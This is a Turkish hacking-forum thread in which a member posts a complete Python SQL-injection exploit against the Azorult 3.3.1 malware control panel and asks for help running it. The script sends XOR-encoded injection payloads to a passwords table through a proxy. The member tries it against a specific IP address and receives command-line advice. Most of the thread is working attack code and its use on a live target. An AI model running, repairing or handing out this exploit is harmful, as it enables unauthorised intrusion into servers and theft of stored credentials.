Yazılım | Programlama Python'da bir sorun yaşıyorum

sxe1234

Yeni üye
20 Eki 2010
4
0
Herkese merhabalar ,


Kod:
import requests
import argparse
import base64

# Azorult 3.3.1 C2 SQLi by prsecurity
# For research purposes only. Don't pwn what you don't own.
# change GUID and XOR key to specific beacon, can be extracted from a sample

guid = "353E77DF-928B-4941-A631-512662F0785A3061-4E40-BBC2-3A27F641D32B-54FF-44D7-85F3-D950F519F12F353E77DF-928B-4941-A631-512662F0785A3061-4E40-BBC2-3A27F641D32B-54FF-44D7-85F3-D950F519F12F"
key = "\x03\x55\xae"

def get_args():
	parser = argparse.ArgumentParser(
		prog="azorult_sploit.py",
		formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=50),
		epilog= '''
		This script will exploit the SQL vulnerability in Azorult 3.3.1 Dashboard.
		''')
	parser.add_argument("target", help="URL of index.php (ex: http://target.com/index.php)")
	parser.add_argument("-n", "--id_record", default="1", help="id of record to dump")
	parser.add_argument("-p", "--proxy", default="http://localhost:8080", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = tor)")
	args = parser.parse_args()
	return args

def CB_XORm(data, key):
    j=0
    key = list(key)
    data = list(data)
    tmp = list()
    for i in range(len(data)):
        tmp.append(chr(ord(data[i])^ord(key[j])))
        j += 1
        if j > (len(key)-1):
            j = 0
    return "".join(tmp)

def pwn_target(target, num_records, proxy):
	requests.packages.urllib3.disable_warnings()
	proxies = {'http': proxy, 'https': proxy}
	
	try:
		r = requests.get("http://bot.whatismyipaddress.com", proxies=proxies)
		print("[*] Your IP: {}".format(r.text))
		headers = {
			"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
		}
		print('[+] Getting URL, LOGIN AND PASS')
		data = [
		    "|".join([
		        "1","2","3","4","5","6","7","8","9","10","11","12"
		    ]),
		    "\r\n".join([
		        "|".join(["1","2","3","4"," "*255+"'", ", (select version())), (111,(select * from (select concat({},0x3a,p_p2) from passwords limit {},1) dumb),333,4,5,6,7), (111,(select * from (select concat({},0x3a,p_p3) from passwords limit {},1) dumb),333,4,5,6,7) -- ".format(num_records, num_records,num_records, num_records)])
		    ]),
		    "c",
		    "d",
		    ":".join(["'11","22"])
		]
		payload = CB_XORm(guid.join(data), key)
		r = requests.post(target, data=payload, headers=headers, verify=False, proxies=proxies)
		if r.text != "OK":
			print("[-] ERROR: Something went wrong. Maybe Azorult version is not 3.3.1?")
			raise
		print('[+] Getting LOGIN/PASS')
		data = [
		    "|".join([
		        "1","2","3","4","5","6","7","8","9","10","11","12"
		    ]),
		    "\r\n".join([
		        "|".join(["1","2","3","4"," "*255+"'", ", (select version())), (111,(select * from (select concat({},0x3a,p_p1) from passwords limit {},1) dumb),333,4,5,6,7) -- ".format(num_records, num_records)])
		    ]),
		    "c",
		    "d",
		    ":".join(["'11","22"])
		]
		payload = CB_XORm(guid.join(data), key)
		r = requests.post(target, data=payload, headers=headers, verify=False, proxies=proxies)
		if r.text != "OK":
			print("[-] ERROR: Something went wrong. Maybe Azorult version is not 3.3.1?")
			raise
		print('[+] If this worked, you will see two new records in password table at guest.php')
	except:
		print("[-] ERROR: Something went wrong.")
		print(r.text)
		raise

def main():
	print ()
	print ('Azorult 3.3.1 SQLi by prsecurity')
	args = get_args()
	pwn_target(args.target.strip(), args.num_records.strip(), args.proxy.strip())


if __name__ == '__main__':
	main()

yukarıda belirtilen kodların çalışma stili

python azorult_sploit.py http://ornekdomain.com/index.php olarak girdiğimde

pwn_target(args.target.strip(), args.num_records.strip(), args.proxy.strip())
AttributeError: 'Namespace' object has no attribute 'num_records'

azorult_sploit.py: error: argument -p/--proxy: expected one argument

Bu tarz hatalar almaktayım.

Kodun kullanım şekli normalde = azorult_sploit.py [-h] [-n ID_RECORD] [-p PROXY] target

yani pythondan bu konuları anlayabilen arkadaşlarım destek olursa sevinirim.
 
Moderatör tarafında düzenlendi:

X-Code

Uzman üye
19 Mar 2019
1,855
336
Localhost
Cevap: Python'da bir sorun yaşıyorum bilgisi olan arkadaşlar lütfen.

Merhaba;

Kodun Kullanım Şekli;

azorult_sploit.py [-h] [-n ID_RECORD] [-p PROXY] target

diye yazmışsınız ama kodu kullanırken bu şekilde kullanmamissiniz.

İkinci hatada -p parametresini girip proxlerinizi tanitmanizi söylüyor sanırım.

azorult_sploit.py [-h] [-n ID_RECORD] [-p PROXY] target

Kodun Kullanım seklindede Zaten Proxy tanitmaniz isteniyor.
Sizinde Belirttiğiniz Gibi Kodun Kullanım Şekline Göre Kullanmak Yerine Neden

python azorult_sploit.py http://ornekdomain.com/index.php

böyle kullandığınızı anlamadım.

Kodu Çalıştırmak İçin Kodun Parametrelerine Uygun Çalıştırmayı Deneyin. Yani Şu Şekilde;

azorult_sploit.py [-h] [-n ID_RECORD] [-p PROXY] target


İyi Forumlar...
 

sxe1234

Yeni üye
20 Eki 2010
4
0
Cevap: Python'da bir sorun yaşıyorum bilgisi olan arkadaşlar lütfen.

Merhaba;

Kodun Kullanım Şekli;

azorult_sploit.py [-h] [-n ID_RECORD] [-p PROXY] target

diye yazmışsınız ama kodu kullanırken bu şekilde kullanmamissiniz.

İkinci hatada -p parametresini girip proxlerinizi tanitmanizi söylüyor sanırım.

azorult_sploit.py [-h] [-n ID_RECORD] [-p PROXY] target

Kodun Kullanım seklindede Zaten Proxy tanitmaniz isteniyor.
Sizinde Belirttiğiniz Gibi Kodun Kullanım Şekline Göre Kullanmak Yerine Neden

python azorult_sploit.py http://ornekdomain.com/index.php

böyle kullandığınızı anlamadım.

Kodu Çalıştırmak İçin Kodun Parametrelerine Uygun Çalıştırmayı Deneyin. Yani Şu Şekilde;

azorult_sploit.py [-h] [-n ID_RECORD] [-p PROXY] target


İyi Forumlar...


Cevapladığınız için teşekkür ederim hocam sizin söylediğiniz şekilde de deniyorum uyarılar aşağıdaki gibidir.


Kod:
>python azorult_sploit.py  [-h] [-n ID_RECORD] [-p PROXY] target http://213.213.122/index.php

Azorult 3.3.1 SQLi by prsecurity
usage: azorult_sploit.py [-h] [-n ID_RECORD] [-p PROXY] target
azorult_sploit.py: error: unrecognized arguments: [-n ID_RECORD] [-p PROXY] target http://213.213.122/index.php

python azorult_sploit.py  [-h] [-n ID_RECORD] [-p http://localhost:8080] http://213.213.122/smile/index.php

Azorult 3.3.1 SQLi by prsecurity
usage: azorult_sploit.py [-h] [-n ID_RECORD] [-p PROXY] target
azorult_sploit.py: error: unrecognized arguments: [-n ID_RECORD] [-p http://localhost:8080] http://213.213.122/smile/index.php

python azorult_sploit.py -h -n 1 -p http://localhost:8080 http://213.213.122/smile/index.php

Azorult 3.3.1 SQLi by prsecurity
usage: azorult_sploit.py [-h] [-n ID_RECORD] [-p PROXY] target

positional arguments:
  target                               URL of index.php (ex:
                                       http://target.com/index.php)

optional arguments:
  -h, --help                           show this help message and exit
  -n ID_RECORD, --id_record ID_RECORD  id of record to dump
  -p PROXY, --proxy PROXY              Configure a proxy in the format
                                       http://127.0.0.1:8080/ (default = tor)

This script will exploit the SQL vulnerability in Azorult 3.3.1 Dashboard.

Örnek bir kod çıkabilir misiniz hocam eğer müsaitseniz?
 
Son düzenleme:

X-Code

Uzman üye
19 Mar 2019
1,855
336
Localhost
Dostum kodları yanlış yazıyorsun.

O Toolu daha önce hiç kullanmadım ama zaten tool bize nasıl kullanılacağını söylüyor.

Şimdi sen şu şekilde yazıyorsun ya

>python azorult_sploit.py [-h] [-n ID_RECORD] [-p PROXY] target http://213.213.122/index.php

burda kodu çalıştırırken [] kutucuklarıni yazmiycaksin. - h yazicaksin yanına da -h parametresi ile ne istiyorsa onu yazacaksın.
yani örnek kullanım şu şekilde olacak

python azorult_sploit.py -h -n istenilensey -p istenilensey target

buradaki istenilensey kısımlarına sollarindaki parametrelerin istedikleri şeyleri yazacaksın.
mesela -n parametresi id record u İstiyor, -p parametresi proxyi istiyor. bunların yanındaki istenilensey yazdığım yerlere parametrelerin istediği şeyleri yazacaksın.

Toolu daha önce hiç kullanmadığım için tam olarak şunu yazacaksın diye net konuşamıyorum. ama sana mantığını Anlattım. umarım anlamışsındır.

İyi Forumlar...
 

sxe1234

Yeni üye
20 Eki 2010
4
0
Dostum kodları yanlış yazıyorsun.

O Toolu daha önce hiç kullanmadım ama zaten tool bize nasıl kullanılacağını söylüyor.

Şimdi sen şu şekilde yazıyorsun ya

>python azorult_sploit.py [-h] [-n ID_RECORD] [-p PROXY] target http://213.213.122/index.php

burda kodu çalıştırırken [] kutucuklarıni yazmiycaksin. - h yazicaksin yanına da -h parametresi ile ne istiyorsa onu yazacaksın.
yani örnek kullanım şu şekilde olacak

python azorult_sploit.py -h -n istenilensey -p istenilensey target

buradaki istenilensey kısımlarına sollarindaki parametrelerin istedikleri şeyleri yazacaksın.
mesela -n parametresi id record u İstiyor, -p parametresi proxyi istiyor. bunların yanındaki istenilensey yazdığım yerlere parametrelerin istediği şeyleri yazacaksın.

Toolu daha önce hiç kullanmadığım için tam olarak şunu yazacaksın diye net konuşamıyorum. ama sana mantığını Anlattım. umarım anlamışsındır.

İyi Forumlar...


Tekrardan merhabalar hocam ,

söylediğiniz şekilde zaten yaptım ben kodlar'ı incelerseniz zaten yer alıyor.

python azorult_sploit.py -h -n 1 -p http://localhost:8080 http://213.213.122/smile/index.php

python azorult_sploit.py -h -n -p http://localhost:8080 http://213.213.122/smile/index.php

vs vs her türlü olurunu denedim fakat sonuç yok

sürekli error: unrecognized arguments tarzı hatalar alıyorum

kodun açıklamasında -n -h -p kodları için optional arguments diyor yani girilmesi zorunlu değil
o şekilde yapınca da AttributeError: 'Namespace' object has no attribute 'num_records'
bu hatayı alıyorum çok acil bilen birileri yardımcı olursa sevinirim.
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.